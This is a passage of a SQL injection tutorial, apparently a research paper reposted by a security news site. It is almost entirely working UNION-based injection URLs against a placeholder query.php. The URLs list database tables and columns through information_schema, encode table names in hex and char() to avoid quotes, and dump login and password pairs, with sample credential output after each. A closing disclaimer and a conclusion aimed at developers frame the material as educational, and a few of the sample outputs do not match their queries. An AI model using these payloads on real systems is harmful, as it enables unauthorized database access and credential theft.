Version of MySQL system used on the server.
Dump: This happens in versions up 5.x.y [ 1º
Method ]
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(table_name)
from information_schema.tables
where table_schema=database()--
usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you
or
Unknown column 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you'
in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you'
at line 1
<>------------------------<>-------------------------<>--------------------------<>
[ 2º Method ]
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name)
from information_schema.tables
limit 0,1--
CHARACTER_SETS
or
Unknown column 'CHARACTER_SETS' in
'where clause'
ou
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'CHARACTER_SETS'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name)
from information_schema.tables
limit 1,2--
COLLATIONS
or
Unknown column 'COLLATIONS' in 'where
clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'COLLATIONS'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name)
from information_schema.tables
limit 16,17--
usuarios
or
Unknown column 'usuarios' in 'where
clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'usuarios'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name)
from information_schema.tables
limit 17,18--
rafael
or
Unknown column 'rafael' in 'where
clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'rafael'
at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Searching
Column (s) of a given table
* Brute
Force / Shooting
This
happens in versions below 5.x.y
http://[site]/query.php?string= 1 union all select 1,2,3,4,nome from usuarios--
Unknown
column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'rafael1'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,churros from usuarios--
Unknown
column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'rafael1'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,login from usuarios--
_Rafa_
or
Unknown column '_Rafa_' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '_Rafa_'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,passwd from usuarios--
rafael1337
or
Unknown column 'rafael1337' in 'field
list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'rafael1337'
at line 1
=--------------------------=--------------------------=--------------------------=--------------------------=
Dump
This
happens in versions up 5.x.y [ 1º Method ]
"usuarios" hexadecimal ->
"7573756172696f73"
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(column_name)
from information_schema.columns
where table_name=0x7573756172696f73--
login,passwd,id,texto
or
Unknown column 'login,passwd,id,texto'
in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'login,passwd,id,texto'
at line 1
<>------------------------<>-------------------------<>--------------------------<>
[ 2º Method ]
"usuarios" decimal -> "117,115,117,97,114,105,111,115"
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name)
from information_schema.columns
where table_name=char(117,115,117,97,114,105,111,115) limit 0,1--
login
or
Unknown column 'login' in 'where
clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'login'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name)
from information_schema.columns
where table_name=char(117,115,117,97,114,105,111,115) limit 1,2--
passwd
or
Unknown column 'passwd' in 'where
clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'passwd'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name)
from information_schema.columns
where table_name=char(117,115,117,97,114,105,111,115) limit 2,3--
id
or
Unknown column 'id' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'id'
at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name)
from information_schema.columns
where table_name=char(117,115,117,97,114,105,111,115) limit 3,4--
texto
or
Unknown column 'text' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'text'
at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Extracting
data from the columns of a given table
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(login,0x20,0x3a,0x20,senha) from
usuarios--
_Rafa_ : fontes1337
or
Unknown column '_Rafa_ : fontes1337' in
'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '_Rafa_
: fontes1337' at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(login,0x20,0x3a,0x20,senha) from
usuarios--
_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers :
mitnick,green : rha_infosec
or
Unknown column '_Rafa_ : fontes1337,l337_ :
3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec ‘in
'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '_Rafa_
: fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green :
rha_infosec' at line 1
=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat_ws(0x20,0x3a,0x20,login,senha) from
usuarios--
_RHA_ : infosec1337
or
Unknown column '_RHA_ : infosec1337‘ in
'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '_Mlk_
: gremio1903' at line 1
=--------------------------=
Concat
group_concat() => Search all you want
with ascii caracters
concat() => search what you want with ascii caracters
concat_ws()
=> unite
Hexadecimal
0x3a => :
0x20 => space
0x2d => -
0x2b => +
Readers,
this article is for educational purposes only, could continue explaining how to
exploit web sites, but that is not my intention.
It is
known that the impact of the change may provide unauthorized access to a
restricted area, being imperceptible to the eye of an inexperienced developer,
it may also allow the deletion of a table, compromising the entire application,
among other features. So I want to emphasize that this paper is for security researcher and developers to beware and test your code.
CONCLUSION
Many
companies are providing important information on its website and database,
information is the most valuable asset is intangible, the question is how
developers are dealing with this huge responsibility?
The
challenge is to develop increasingly innovative sites, coupled with mechanisms
that will provide security to users.
The
purpose of this paper is to present what is SQL Injection, how applications are
explored and techniques for testing by allowing the developer to customize a
system more robust and understand the vulnerability.
**********
I hope you all will enjoy the above article, as I did. On behalf of entire VOGH Team I am sincerely thanking Mr. Rafael Souza for his remarkable contribution.
To get more of such exclusive research papers along with all kind of breaking cyber updates across the globe just stay tuned with VOGH.
Data Base:-
Data Base:-
Vulnerable Link:-
Data Base:-
Data Base:-
Vulnerable Link:-
